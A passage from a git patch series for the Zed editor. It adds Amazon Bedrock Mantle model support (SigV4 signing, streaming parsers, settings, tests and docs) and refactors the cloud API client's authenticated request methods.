+) -> Result<SharedCredentialsProvider> {
+    let provider = cell
+        .get_or_try_init(move || async move {
+            let mut config_builder =
+                aws_config::defaults(BehaviorVersion::latest()).region(Region::new(region));
+
+            if let Some(profile_name) = profile_name.filter(|name| !name.is_empty()) {
+                config_builder = config_builder.profile_name(profile_name);
+            }
+
+            let config = config_builder.load().await;
+            config
+                .credentials_provider()
+                .context("no AWS credentials provider is configured")
+        })
+        .await
+        .context("resolving AWS credentials for Bedrock Mantle")?;
+    Ok(provider.clone())
+}
+
+/// Resolves provider settings into concrete Mantle request auth. A configured
+/// Bedrock API key is sent as bearer auth; every AWS-credential-based method
+/// signs the Mantle HTTP request directly with SigV4.
+async fn resolve_mantle_auth(
+    credentials_provider: Arc<OnceCell<SharedCredentialsProvider>>,
+    auth: Option<BedrockAuth>,
+    region: String,
+) -> Result<MantleAuth> {
+    match auth {
+        Some(BedrockAuth::ApiKey { api_key }) => Ok(MantleAuth::ApiKey { api_key }),
+        Some(BedrockAuth::IamCredentials {
+            access_key_id,
+            secret_access_key,
+            session_token,
+        }) => Ok(MantleAuth::SigV4 {
+            credentials: Credentials::new(
+                access_key_id,
+                secret_access_key,
+                session_token,
+                None,
+                "zed-bedrock-provider",
+            ),
+        }),
+        Some(BedrockAuth::NamedProfile { profile_name })
+        | Some(BedrockAuth::SingleSignOn { profile_name }) => {
+            let provider = resolve_mantle_credentials_provider(
+                &credentials_provider,
+                Some(profile_name),
+                region.clone(),
+            )
+            .await?;
+            let credentials = provider
+                .provide_credentials()
+                .await
+                .context("failed to resolve AWS credentials")?;
+            Ok(MantleAuth::SigV4 { credentials })
+        }
+        Some(BedrockAuth::Automatic) | None => {
+            let provider =
+                resolve_mantle_credentials_provider(&credentials_provider, None, region.clone())
+                    .await?;
+            let credentials = provider
+                .provide_credentials()
+                .await
+                .context("failed to resolve AWS credentials")?;
+            Ok(MantleAuth::SigV4 { credentials })
+        }
+    }
+}
+
+#[derive(Deserialize)]
+#[serde(untagged)]
+enum MantleChatStreamResult {
+    Ok(ResponseStreamEvent),
+    Err { error: MantleChatStreamError },
+}
+
+#[derive(Deserialize)]
+struct MantleChatStreamError {
+    message: String,
+}
+
+fn parse_mantle_chat_stream_line(line: &str) -> Result<ResponseStreamEvent> {
+    match serde_json::from_str(line) {
+        Ok(MantleChatStreamResult::Ok(response)) => Ok(response),
+        Ok(MantleChatStreamResult::Err { error }) => Err(anyhow!(error.message)),
+        Err(error) => {
+            log::error!(
+                "Failed to parse Mantle chat completion stream event: `{}`\nResponse: `{}`",
+                error,
+                line,
+            );
+            Err(anyhow!(error))
+        }
+    }
+}
+
+fn parse_mantle_response_stream_line(line: &str) -> Result<open_ai::responses::StreamEvent> {
+    serde_json::from_str(line).map_err(|error| {
+        log::error!(
+            "Failed to parse Mantle responses stream event: `{}`\nResponse: `{}`",
+            error,
+            line,
+        );
+        anyhow!(error)
+    })
+}
+
+async fn stream_mantle_sse<Request, Event>(
+    client: &dyn HttpClient,
+    provider_name: &str,
+    url: &str,
+    region: &str,
+    auth: &MantleAuth,
+    request: Request,
+    extra_headers: &CustomHeaders,
+    parse_stream_line: fn(&str) -> Result<Event>,
+) -> std::result::Result<BoxStream<'static, Result<Event>>, RequestError>
+where
+    Request: Serialize,
+    Event: Send + 'static,
+{
+    let body = serde_json::to_vec(&request).map_err(|error| RequestError::Other(error.into()))?;
+    let mut request = HttpRequest::builder()
+        .method(Method::POST)
+        .uri(url)
+        .header("Content-Type", "application/json")
+        .extra_headers(extra_headers)
+        .body(AsyncBody::from(body.clone()))
+        .map_err(|error| RequestError::Other(error.into()))?;
+
+    auth.apply(&mut request, &body, region)
+        .map_err(RequestError::Other)?;
+
+    let mut response = client.send(request).await?;
+    if response.status().is_success() {
+        let reader = BufReader::new(response.into_body());
+        Ok(reader
+            .lines()
+            .filter_map(move |line| async move {
+                match line {
+                    Ok(line) => {
+                        let line = line
+                            .strip_prefix("data: ")
+                            .or_else(|| line.strip_prefix("data:"))?;
+                        if line == "[DONE]" || line.is_empty() {
+                            None
+                        } else {
+                            Some(parse_stream_line(line))
+                        }
+                    }
+                    Err(error) => Some(Err(anyhow!(error))),
+                }
+            })
+            .boxed())
+    } else {
+        let mut body = String::new();
+        response
+            .body_mut()
+            .read_to_string(&mut body)
+            .await
+            .map_err(|error| RequestError::Other(error.into()))?;
+
+        Err(RequestError::HttpResponseError {
+            provider: provider_name.to_owned(),
+            status_code: response.status(),
+            body,
+            headers: response.headers().clone(),
+        })
+    }
+}
+
+fn strip_unsupported_mantle_response_fields(request: &mut OpenAiResponseRequest) {
+    request.context_management = None;
+}
+
+struct BedrockMantleModel {
+    id: LanguageModelId,
+    model: MantleModel,
+    http_client: Arc<dyn HttpClient>,
+    state: Entity<State>,
+    credentials_provider: Arc<OnceCell<SharedCredentialsProvider>>,
+    request_limiter: RateLimiter,
+}
+
+impl BedrockMantleModel {
+    fn stream_mantle_request<Request, Event>(
+        &self,
+        request: Request,
+        cx: &AsyncApp,
+        endpoint: &'static str,
+        parse_stream_line: fn(&str) -> Result<Event>,
+    ) -> BoxFuture<'static, Result<BoxStream<'static, Result<Event>>, LanguageModelCompletionError>>
+    where
+        Request: Serialize + Send + 'static,
+        Event: Send + 'static,
+    {
+        let http_client = self.http_client.clone();
+        let model = self.model.clone();
+        let credentials_provider = self.credentials_provider.clone();
+        let (auth, region) = cx.read_entity(&self.state, |state, _cx| {
+            (state.auth.clone(), state.get_region())
+        });
+        let url = format!("{}/{}", mantle_endpoint_url(&region), endpoint);
+        let extra_headers = cx.read_entity(&self.state, |_, cx| {
+            AllLanguageModelSettings::get_global(cx)
+                .bedrock
+                .custom_headers
+                .clone()
+        });
+        let provider_name = PROVIDER_NAME.0.to_string();
+        let auth_task = Tokio::spawn_result(
+            cx,
+            resolve_mantle_auth(credentials_provider, auth, region.clone()),
+        );
+
+        let future = self.request_limiter.stream(async move {
+            let auth = auth_task
+                .await
+                .map_err(LanguageModelCompletionError::Other)?;
+            stream_mantle_sse(
+                http_client.as_ref(),
+                &provider_name,
+                &url,
+                &region,
+                &auth,
+                request,
+                &extra_headers,
+                parse_stream_line,
+            )
+            .await
+            .map_err(|err| map_mantle_error(&model, err))
+        });
+
+        async move { Ok(future.await?.boxed()) }.boxed()
+    }
+
+    fn stream_completion(
+        &self,
+        request: open_ai::Request,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<BoxStream<'static, Result<ResponseStreamEvent>>, LanguageModelCompletionError>,
+    > {
+        self.stream_mantle_request(
+            request,
+            cx,
+            "chat/completions",
+            parse_mantle_chat_stream_line,
+        )
+    }
+
+    fn stream_response(
+        &self,
+        request: OpenAiResponseRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<
+            BoxStream<'static, Result<open_ai::responses::StreamEvent>>,
+            LanguageModelCompletionError,
+        >,
+    > {
+        let mut request = request;
+        strip_unsupported_mantle_response_fields(&mut request);
+        self.stream_mantle_request(request, cx, "responses", parse_mantle_response_stream_line)
+    }
+}
+
+impl LanguageModel for BedrockMantleModel {
+    fn id(&self) -> LanguageModelId {
+        self.id.clone()
+    }
+
+    fn name(&self) -> LanguageModelName {
+        LanguageModelName::from(self.model.display_name().to_string())
+    }
+
+    fn provider_id(&self) -> LanguageModelProviderId {
+        PROVIDER_ID
+    }
+
+    fn provider_name(&self) -> LanguageModelProviderName {
+        PROVIDER_NAME
+    }
+
+    fn supports_tools(&self) -> bool {
+        self.model.supports_tools()
+    }
+
+    fn tool_input_format(&self) -> LanguageModelToolSchemaFormat {
+        LanguageModelToolSchemaFormat::JsonSchemaSubset
+    }
+
+    fn supports_images(&self) -> bool {
+        self.model.supports_images()
+    }
+
+    fn supports_tool_choice(&self, choice: LanguageModelToolChoice) -> bool {
+        match choice {
+            LanguageModelToolChoice::Auto | LanguageModelToolChoice::Any => {
+                self.model.supports_tools()
+            }
+            LanguageModelToolChoice::None => true,
+        }
+    }
+
+    fn supports_streaming_tools(&self) -> bool {
+        true
+    }
+
+    fn supports_thinking(&self) -> bool {
+        self.model.supports_thinking()
+    }
+
+    fn supported_effort_levels(&self) -> Vec<LanguageModelEffortLevel> {
+        mantle_supported_effort_levels(&self.model)
+    }
+
+    fn supports_split_token_display(&self) -> bool {
+        true
+    }
+
+    fn telemetry_id(&self) -> String {
+        format!("bedrock-mantle/{}", self.model.id())
+    }
+
+    fn max_token_count(&self) -> u64 {
+        self.model.max_token_count()
+    }
+
+    fn max_output_tokens(&self) -> Option<u64> {
+        Some(self.model.max_output_tokens())
+    }
+
+    fn stream_completion(
+        &self,
+        request: LanguageModelRequest,
+        cx: &AsyncApp,
+    ) -> BoxFuture<
+        'static,
+        Result<
+            BoxStream<'static, Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
+            LanguageModelCompletionError,
+        >,
+    > {
+        let region = cx.read_entity(&self.state, |state, _cx| state.get_region());
+
+        if !MANTLE_SUPPORTED_REGIONS.contains(&region.as_str()) {
+            let display_name = self.model.display_name().to_string();
+            let supported = MANTLE_SUPPORTED_REGIONS.join(", ");
+            return futures::future::ready(Err(LanguageModelCompletionError::Other(anyhow!(
+                "{display_name} is not available in {region} because Bedrock Mantle isn't offered \
+                 there. Try switching to one of the following regions: {supported}."
+            ))))
+            .boxed();
+        }
+
+        let model_id = self.model.request_id().to_string();
+        let max_output_tokens = Some(self.model.max_output_tokens());
+
+        match self.model.protocol() {
+            MantleProtocol::Responses => {
+                let request = into_open_ai_response(
+                    request,
+                    &model_id,
+                    self.model.supports_tools(),
+                    false,
+                    max_output_tokens,
+                    mantle_default_reasoning_effort(&self.model),
+                    self.model.supports_thinking(),
+                );
+                let completions = self.stream_response(request, cx);
+                async move {
+                    let mapper = OpenAiResponseEventMapper::new();
+                    Ok(mapper.map_stream(completions.await?).boxed())
+                }
+                .boxed()
+            }
+            MantleProtocol::ChatCompletions => {
+                let reasoning_effort = mantle_selected_reasoning_effort(&request, &self.model);
+                let request = into_open_ai(
+                    request,
+                    &model_id,
+                    self.model.supports_tools(),
+                    false,
+                    max_output_tokens,
+                    ChatCompletionMaxTokensParameter::MaxCompletionTokens,
+                    reasoning_effort,
+                    false,
+                );
+                let completions = self.stream_completion(request, cx);
+                async move {
+                    let mapper = OpenAiEventMapper::new();
+                    Ok(mapper.map_stream(completions.await?).boxed())
+                }
+                .boxed()
+            }
+        }
+    }
+}
+
 fn deny_tool_use_events(
     events: impl Stream<Item = Result<LanguageModelCompletionEvent, LanguageModelCompletionError>>,
 ) -> impl Stream<Item = Result<LanguageModelCompletionEvent, LanguageModelCompletionError>> {
@@ -895,7 +1553,7 @@ pub fn into_bedrock(
                         }
                         MessageContent::Compaction(_) => None,
                         MessageContent::Thinking { text, signature } => {
-                            if model.contains(Model::DeepSeekR1.request_id()) {
+                            if model.contains(ConverseModel::DeepSeekR1.request_id()) {
                                 // DeepSeekR1 doesn't support thinking blocks
                                 // And the AWS API demands that you strip them
                                 return None;
@@ -918,7 +1576,7 @@ pub fn into_bedrock(
                             ))
                         }
                         MessageContent::RedactedThinking(blob) => {
-                            if model.contains(Model::DeepSeekR1.request_id()) {
+                            if model.contains(ConverseModel::DeepSeekR1.request_id()) {
                                 // DeepSeekR1 doesn't support thinking blocks
                                 // And the AWS API demands that you strip them
                                 return None;
@@ -1834,4 +2492,218 @@ mod tests {
             "a cache-marked message with content should end with a cache point"
         );
     }
+
+    #[test]
+    fn test_sign_mantle_request_sigv4_uses_mantle_service() {
+        let credentials = Credentials::new(
+            "AKIDEXAMPLE",
+            "wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY",
+            None,
+            None,
+            "test",
+        );
+        let body = br#"{"model":"openai.gpt-5.5"}"#;
+        let mut request = HttpRequest::builder()
+            .method(Method::POST)
+            .uri("https://bedrock-mantle.us-east-1.api.aws/openai/v1/responses")
+            .header("Content-Type", "application/json")
+            .body(AsyncBody::from(body.to_vec()))
+            .unwrap();
+        let time = std::time::UNIX_EPOCH + std::time::Duration::from_secs(1_700_000_000);
+
+        sign_mantle_request_sigv4_at(&mut request, body, &credentials, "us-east-1", time).unwrap();
+
+        assert_eq!(
+            request
+                .headers()
+                .get(http_client::http::header::HOST)
+                .and_then(|value| value.to_str().ok()),
+            Some("bedrock-mantle.us-east-1.api.aws")
+        );
+        assert_eq!(
+            request
+                .headers()
+                .get("x-amz-date")
+                .and_then(|value| value.to_str().ok()),
+            Some("20231114T221320Z")
+        );
+        let authorization = request
+            .headers()
+            .get(AUTHORIZATION)
+            .and_then(|value| value.to_str().ok())
+            .unwrap();
+        assert!(authorization.starts_with("AWS4-HMAC-SHA256 "));
+        assert!(
+            authorization
+                .contains("Credential=AKIDEXAMPLE/20231114/us-east-1/bedrock-mantle/aws4_request")
+        );
+        assert!(authorization.contains("SignedHeaders=content-type;host"));
+        assert!(authorization.contains("Signature="));
+    }
+
+    #[test]
+    fn test_mantle_endpoint_url_uses_openai_path_prefix() {
+        assert_eq!(
+            mantle_endpoint_url("us-east-1"),
+            "https://bedrock-mantle.us-east-1.api.aws/openai/v1"
+        );
+        assert_eq!(
+            mantle_endpoint_url("us-west-2"),
+            "https://bedrock-mantle.us-west-2.api.aws/openai/v1"
+        );
+    }
+
+    #[test]
+    fn test_mantle_protocol_from_settings() {
+        assert_eq!(
+            mantle_protocol_from_settings(settings::BedrockMantleProtocolContent::ChatCompletions),
+            MantleProtocol::ChatCompletions
+        );
+        assert_eq!(
+            mantle_protocol_from_settings(settings::BedrockMantleProtocolContent::Responses),
+            MantleProtocol::Responses
+        );
+    }
+
+    #[test]
+    fn test_mantle_supported_regions_matches_docs() {
+        assert!(MANTLE_SUPPORTED_REGIONS.contains(&"us-east-1"));
+        assert!(MANTLE_SUPPORTED_REGIONS.contains(&"eu-west-1"));
+        assert!(!MANTLE_SUPPORTED_REGIONS.contains(&"ap-southeast-1"));
+    }
+
+    #[test]
+    fn test_builtin_mantle_models_support_thinking() {
+        assert!(MantleModel::Gpt5_5.supports_thinking());
+        assert!(MantleModel::Gpt5_4.supports_thinking());
+        assert!(MantleModel::Grok4_3.supports_thinking());
+        assert_eq!(
+            mantle_default_reasoning_effort(&MantleModel::Gpt5_5),
+            Some(ReasoningEffort::Medium)
+        );
+        assert_eq!(
+            mantle_default_reasoning_effort(&MantleModel::Grok4_3),
+            Some(ReasoningEffort::Medium)
+        );
+    }
+
+    #[test]
+    fn test_mantle_supported_effort_levels_hide_none() {
+        let effort_levels = mantle_supported_effort_levels(&MantleModel::Gpt5_5);
+        let values = effort_levels
+            .iter()
+            .map(|level| level.value.as_ref())
+            .collect::<Vec<_>>();
+
+        assert_eq!(values, ["low", "medium", "high", "xhigh"]);
+        assert_eq!(
+            effort_levels
+                .iter()
+                .find(|level| level.is_default)
+                .map(|level| level.value.as_ref()),
+            Some("medium")
+        );
+    }
+
+    #[test]
+    fn test_custom_mantle_model_can_disable_thinking() {
+        let model = MantleModel::Custom {
+            name: "custom-mantle-model".to_string(),
+            display_name: None,
+            max_tokens: 128_000,
+            max_output_tokens: None,
+            protocol: MantleProtocol::Responses,
+            supports_tools: true,
+            supports_images: false,
+            supports_thinking: false,
+        };
+
+        assert!(!model.supports_thinking());
+        assert_eq!(mantle_default_reasoning_effort(&model), None);
+        assert!(mantle_supported_effort_levels(&model).is_empty());
+        assert_eq!(
+            mantle_selected_reasoning_effort(
+                &LanguageModelRequest {
+                    thinking_effort: Some("high".to_string()),
+                    ..Default::default()
+                },
+                &model,
+            ),
+            None
+        );
+    }
+
+    #[test]
+    fn test_disabled_mantle_thinking_serializes_none() {
+        let request = into_open_ai_response(
+            LanguageModelRequest {
+                thinking_allowed: false,
+                ..Default::default()
+            },
+            MantleModel::Grok4_3.request_id(),
+            true,
+            false,
+            Some(MantleModel::Grok4_3.max_output_tokens()),
+            mantle_default_reasoning_effort(&MantleModel::Grok4_3),
+            MantleModel::Grok4_3.supports_thinking(),
+        );
+
+        assert_eq!(
+            serde_json::to_value(&request).unwrap()["reasoning"],
+            serde_json::json!({ "effort": "none" })
+        );
+    }
+
+    #[test]
+    fn test_mantle_reasoning_passes_known_efforts_through() {
+        for effort in ["low", "medium", "high", "xhigh", "minimal", "max"] {
+            assert_eq!(
+                mantle_selected_reasoning_effort(
+                    &LanguageModelRequest {
+                        thinking_allowed: true,
+                        thinking_effort: Some(effort.to_string()),
+                        ..Default::default()
+                    },
+                    &MantleModel::Gpt5_5,
+                )
+                .map(|effort| effort.value()),
+                Some(effort)
+            );
+        }
+
+        assert_eq!(
+            mantle_selected_reasoning_effort(
+                &LanguageModelRequest {
+                    thinking_allowed: true,
+                    thinking_effort: Some("none".to_string()),
+                    ..Default::default()
+                },
+                &MantleModel::Gpt5_5,
+            ),
+            Some(ReasoningEffort::Medium)
+        );
+    }
+
+    #[test]
+    fn test_strip_unsupported_mantle_response_fields_removes_context_management() {
+        let mut request = into_open_ai_response(
+            LanguageModelRequest {
+                compact_at_tokens: Some(10_000),
+                ..Default::default()
+            },
+            "openai.gpt-5.5",
+            true,
+            false,
+            Some(128_000),
+            Some(ReasoningEffort::Medium),
+            false,
+        );
+
+        assert!(request.context_management.is_some());
+        strip_unsupported_mantle_response_fields(&mut request);
+        assert!(request.context_management.is_none());
+
+        let request = serde_json::to_value(&request).unwrap();
+        assert!(request.get("context_management").is_none());
+    }
 }
diff --git a/crates/language_models/src/settings.rs b/crates/language_models/src/settings.rs
index 1ce7caa3a675fb..4f360eea95c845 100644
--- a/crates/language_models/src/settings.rs
+++ b/crates/language_models/src/settings.rs
@@ -95,6 +95,7 @@ impl settings::Settings for AllLanguageModelSettings {
                 .collect(),
             bedrock: AmazonBedrockSettings {
                 available_models: bedrock.available_models.unwrap_or_default(),
+                mantle_available_models: bedrock.mantle_available_models.unwrap_or_default(),
                 custom_headers: custom_headers_from(
                     "Amazon Bedrock",
                     bedrock.custom_headers,
diff --git a/crates/open_ai/src/completion.rs b/crates/open_ai/src/completion.rs
index f39a9af218fd42..0638203d7695c7 100644
--- a/crates/open_ai/src/completion.rs
+++ b/crates/open_ai/src/completion.rs
@@ -814,7 +814,8 @@ impl OpenAiResponseEventMapper {
                 }
                 events
             }
-            ResponsesStreamEvent::ReasoningSummaryTextDelta { delta, .. } => {
+            ResponsesStreamEvent::ReasoningSummaryTextDelta { delta, .. }
+            | ResponsesStreamEvent::ReasoningDelta { delta, .. } => {
                 if delta.is_empty() {
                     Vec::new()
                 } else {
@@ -973,6 +974,7 @@ impl OpenAiResponseEventMapper {
             | ResponsesStreamEvent::ContentPartDone { .. }
             | ResponsesStreamEvent::ReasoningSummaryTextDone { .. }
             | ResponsesStreamEvent::ReasoningSummaryPartDone { .. }
+            | ResponsesStreamEvent::ReasoningDone { .. }
             | ResponsesStreamEvent::Created { .. }
             | ResponsesStreamEvent::InProgress { .. }
             | ResponsesStreamEvent::Unknown => Vec::new(),
@@ -1371,6 +1373,22 @@ mod tests {
         ));
     }
 
+    #[test]
+    fn responses_stream_maps_mantle_reasoning_delta() {
+        let event = serde_json::from_value::<ResponsesStreamEvent>(json!({
+            "type": "response.reasoning.delta",
+            "delta": "checking the contract terms"
+        }))
+        .unwrap();
+
+        let mapped = map_response_events(vec![event]);
+        assert!(matches!(
+            &mapped[0],
+            LanguageModelCompletionEvent::Thinking { text, signature: None }
+                if text == "checking the contract terms"
+        ));
+    }
+
     #[test]
     fn response_usage_deserializes_cached_tokens() -> Result<()> {
         let usage: ResponseUsage = serde_json::from_value(json!({
diff --git a/crates/open_ai/src/responses.rs b/crates/open_ai/src/responses.rs
index 647f9fcbacec78..33ec1dfba4676a 100644
--- a/crates/open_ai/src/responses.rs
+++ b/crates/open_ai/src/responses.rs
@@ -310,6 +310,23 @@ pub enum StreamEvent {
         output_index: usize,
         summary_index: usize,
     },
+    #[serde(rename = "response.reasoning.delta")]
+    ReasoningDelta {
+        #[serde(default)]
+        item_id: Option<String>,
+        #[serde(default)]
+        output_index: Option<usize>,
+        delta: String,
+    },
+    #[serde(rename = "response.reasoning.done")]
+    ReasoningDone {
+        #[serde(default)]
+        item_id: Option<String>,
+        #[serde(default)]
+        output_index: Option<usize>,
+        #[serde(default)]
+        text: Option<String>,
+    },
     #[serde(rename = "response.function_call_arguments.delta")]
     FunctionCallArgumentsDelta {
         item_id: String,
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index f61d80ead75efb..5abc65dc805c0d 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -114,6 +114,10 @@ pub struct AnthropicAvailableModel {
 #[derive(Default, Clone, Debug, Serialize, Deserialize, PartialEq, JsonSchema, MergeFrom)]
 pub struct AmazonBedrockSettingsContent {
     pub available_models: Option<Vec<BedrockAvailableModel>>,
+    /// Custom models served through the `bedrock-mantle` endpoint's
+    /// OpenAI-compatible APIs, in addition to the built-in Mantle models
+    /// (GPT-5.5, GPT-5.4, Grok 4.3).
+    pub mantle_available_models: Option<Vec<BedrockMantleAvailableModel>>,
     pub custom_headers: Option<HashMap<String, String>>,
     pub endpoint_url: Option<String>,
     pub region: Option<String>,
@@ -139,6 +143,32 @@ pub struct BedrockAvailableModel {
     pub mode: Option<ModelMode>,
 }
 
+#[with_fallible_options]
+#[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub struct BedrockMantleAvailableModel {
+    /// The model id as expected in Bedrock Mantle request bodies, e.g. `openai.gpt-5.5`.
+    pub name: String,
+    pub display_name: Option<String>,
+    pub max_tokens: u64,
+    pub max_output_tokens: Option<u64>,
+    /// The OpenAI-compatible API this model must be called through.
+    pub protocol: BedrockMantleProtocolContent,
+    pub supports_tools: Option<bool>,
+    pub supports_images: Option<bool>,
+    /// Whether this custom Mantle model supports OpenAI reasoning effort parameters.
+    pub supports_thinking: Option<bool>,
+}
+
+#[derive(Clone, Copy, Debug, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
+pub enum BedrockMantleProtocolContent {
+    /// The OpenAI Chat Completions API (`/chat/completions`).
+    #[serde(rename = "chat_completions")]
+    ChatCompletions,
+    /// The OpenAI Responses API (`/responses`).
+    #[serde(rename = "responses")]
+    Responses,
+}
+
 #[derive(Clone, Debug, PartialEq, Serialize, Deserialize, JsonSchema, MergeFrom)]
 pub enum BedrockAuthMethodContent {
     #[serde(rename = "named_profile")]
diff --git a/docs/src/ai/use-a-gateway.md b/docs/src/ai/use-a-gateway.md
index e010cfe8159aa2..6cd1a7a614df1c 100644
--- a/docs/src/ai/use-a-gateway.md
+++ b/docs/src/ai/use-a-gateway.md
@@ -213,6 +213,38 @@ Some AWS environments require a guardrail on every Bedrock API call. Add `guardr
 }
 ```
 
+### Bedrock Mantle Models {#bedrock-mantle-models}
+
+Some models, such as GPT-5.5, GPT-5.4, and Grok 4.3, aren't available through Bedrock's Converse API and are only reachable through `bedrock-mantle`, AWS's OpenAI-compatible inference endpoint. Zed routes these models through `bedrock-mantle` automatically; they appear alongside the rest of the Bedrock models in the model picker once you're authenticated, with no extra configuration required.
+
+Mantle models require IAM permissions for the `bedrock-mantle` endpoint (for example via the `AmazonBedrockMantleInferenceAccess` managed policy) in addition to whatever permissions your existing Bedrock credentials already have, and `bedrock-mantle` is only available in [some AWS Regions](https://docs.aws.amazon.com/bedrock/latest/userguide/bedrock-mantle.html#regions). Zed surfaces an error naming the current Region and the supported ones if you try to use a Mantle model outside of them.
+
+#### Custom Bedrock Mantle Models {#bedrock-mantle-custom-models}
+
+You can add custom models served through `bedrock-mantle` with `mantle_available_models`:
+
+```json [settings]
+{
+  "language_models": {
+    "bedrock": {
+      "mantle_available_models": [
+        {
+          "name": "openai.gpt-oss-120b",
+          "display_name": "GPT-OSS 120B",
+          "max_tokens": 128000,
+          "protocol": "chat_completions",
+          "supports_tools": true,
+          "supports_images": false,
+          "supports_thinking": true
+        }
+      ]
+    }
+  }
+}
+```
+
+`protocol` selects which OpenAI-compatible API the model is called through, and must be either `chat_completions` or `responses`. Set `supports_thinking` to `true` for custom Mantle models that accept OpenAI reasoning effort parameters; Zed will then expose `low`, `medium`, `high`, and `xhigh` in the thinking effort picker, while disabling thinking sends `none`.
+
 ## OpenAI-Compatible Gateways {#openai-compatible}
 
 If your gateway exposes an OpenAI-compatible API, configure it with [Use API Access](./use-api-access.md#openai-compatible).

From f9c994796ad4341649d7b8664edbdfaae8bebd5d Mon Sep 17 00:00:00 2001
From: Marshall Bowers <git@maxdeviant.com>
Date: Tue, 7 Jul 2026 19:00:12 -0400
Subject: [PATCH 321/772] cloud_api_client: Make
 `send_authenticated_json_request` public (#60562)

This PR makes the `send_authenticated_json_request` method on the
`CloudApiClient` public.

This way we can use it to make requests by external callers.

The `build_request` method was also inlined into
`send_authenticated_request` to make the contract simpler.

Release Notes:

- N/A
---
 .../cloud_api_client/src/cloud_api_client.rs  | 97 +++++++++----------
 1 file changed, 46 insertions(+), 51 deletions(-)

diff --git a/crates/cloud_api_client/src/cloud_api_client.rs b/crates/cloud_api_client/src/cloud_api_client.rs
index e2f9d69002e236..aab5f3b60da731 100644
--- a/crates/cloud_api_client/src/cloud_api_client.rs
+++ b/crates/cloud_api_client/src/cloud_api_client.rs
@@ -95,16 +95,6 @@ impl CloudApiClient {
             .unwrap_or_else(|| "cloud.zed.dev".into())
     }
 
-    fn build_request(
-        &self,
-        req: request::Builder,
-        body: impl Into<AsyncBody>,
-    ) -> Result<Request<AsyncBody>, ClientApiError> {
-        let credentials = self.credentials.read();
-        let credentials = credentials.as_ref().ok_or(ClientApiError::NotSignedIn)?;
-        build_request(req, body, credentials).map_err(ClientApiError::RequestBuildFailed)
-    }
-
     pub async fn get_authenticated_user(
         &self,
         system_id: Option<String>,
@@ -121,8 +111,8 @@ impl CloudApiClient {
                 builder.header(ZED_SYSTEM_ID_HEADER_NAME, system_id)
             });
 
-        let request = self.build_request(request_builder, AsyncBody::default())?;
-        self.send_authenticated_json_request(request).await
+        self.send_authenticated_json_request(request_builder, AsyncBody::default())
+            .await
     }
 
     pub fn connect(&self, cx: &App) -> Result<Task<Result<Connection>>> {
@@ -171,11 +161,11 @@ impl CloudApiClient {
                 builder.header(ZED_SYSTEM_ID_HEADER_NAME, system_id)
             });
 
-        let request = self.build_request(
+        self.send_authenticated_json_request(
             request_builder,
             Json(CreateLlmTokenBody { organization_id }),
-        )?;
-        self.send_authenticated_json_request(request).await
+        )
+        .await
     }
 
     pub async fn update_system_settings(
@@ -193,22 +183,33 @@ impl CloudApiClient {
             )
             .header(ZED_SYSTEM_ID_HEADER_NAME, system_id);
 
-        let request = self.build_request(request_builder, Json(body))?;
-        self.send_authenticated_json_request(request).await
+        self.send_authenticated_json_request(request_builder, Json(body))
+            .await
     }
 
-    async fn send_authenticated_json_request<T: DeserializeOwned>(
+    pub async fn send_authenticated_json_request<T: DeserializeOwned>(
         &self,
-        request: Request<AsyncBody>,
+        request_builder: request::Builder,
+        body: impl Into<AsyncBody>,
     ) -> Result<T, ClientApiError> {
-        let mut response = self.send_authenticated_request(request).await?;
+        let mut response = self
+            .send_authenticated_request(request_builder, body)
+            .await?;
         Self::read_response_json(&mut response).await
     }
 
     async fn send_authenticated_request(
         &self,
-        request: Request<AsyncBody>,
+        request_builder: request::Builder,
+        body: impl Into<AsyncBody>,
     ) -> Result<Response<AsyncBody>, ClientApiError> {
+        let request = {
+            let credentials = self.credentials.read();
+            let credentials = credentials.as_ref().ok_or(ClientApiError::NotSignedIn)?;
+            build_request(request_builder, body, credentials)
+                .map_err(ClientApiError::RequestBuildFailed)?
+        };
+
         let host = self.cloud_host();
         let mut response = self.http_client.send(request).await.map_err(|source| {
             ClientApiError::ConnectionFailed {
@@ -285,16 +286,14 @@ impl CloudApiClient {
     }
 
     pub async fn submit_agent_feedback(&self, body: SubmitAgentThreadFeedbackBody) -> Result<()> {
-        let request = self.build_request(
-            Request::builder().method(Method::POST).uri(
-                self.http_client
-                    .build_zed_cloud_url("/client/feedback/agent_thread")?
-                    .as_ref(),
-            ),
-            AsyncBody::from(serde_json::to_string(&body)?),
-        )?;
-
-        self.send_authenticated_request(request).await?;
+        let request = Request::builder().method(Method::POST).uri(
+            self.http_client
+                .build_zed_cloud_url("/client/feedback/agent_thread")?
+                .as_ref(),
+        );
+
+        self.send_authenticated_request(request, AsyncBody::from(serde_json::to_string(&body)?))
+            .await?;
         Ok(())
     }
 
@@ -302,16 +301,14 @@ impl CloudApiClient {
         &self,
         body: SubmitAgentThreadFeedbackCommentsBody,
     ) -> Result<()> {
-        let request = self.build_request(
-            Request::builder().method(Method::POST).uri(
-                self.http_client
-                    .build_zed_cloud_url("/client/feedback/agent_thread_comments")?
-                    .as_ref(),
-            ),
-            AsyncBody::from(serde_json::to_string(&body)?),
-        )?;
-
-        self.send_authenticated_request(request).await?;
+        let request = Request::builder().method(Method::POST).uri(
+            self.http_client
+                .build_zed_cloud_url("/client/feedback/agent_thread_comments")?
+                .as_ref(),
+        );
+
+        self.send_authenticated_request(request, AsyncBody::from(serde_json::to_string(&body)?))
+            .await?;
         Ok(())
     }
 
@@ -319,16 +316,14 @@ impl CloudApiClient {
         &self,
         body: SubmitEditPredictionFeedbackBody,
     ) -> Result<()> {
-        let request = self.build_request(
-            Request::builder().method(Method::POST).uri(
-                self.http_client
-                    .build_zed_cloud_url("/client/feedback/edit_prediction")?
-                    .as_ref(),
-            ),
-            AsyncBody::from(serde_json::to_string(&body)?),
-        )?;
-
-        self.send_authenticated_request(request).await?;
+        let request = Request::builder().method(Method::POST).uri(
+            self.http_client
+                .build_zed_cloud_url("/client/feedback/edit_prediction")?
+                .as_ref(),
+        );
+
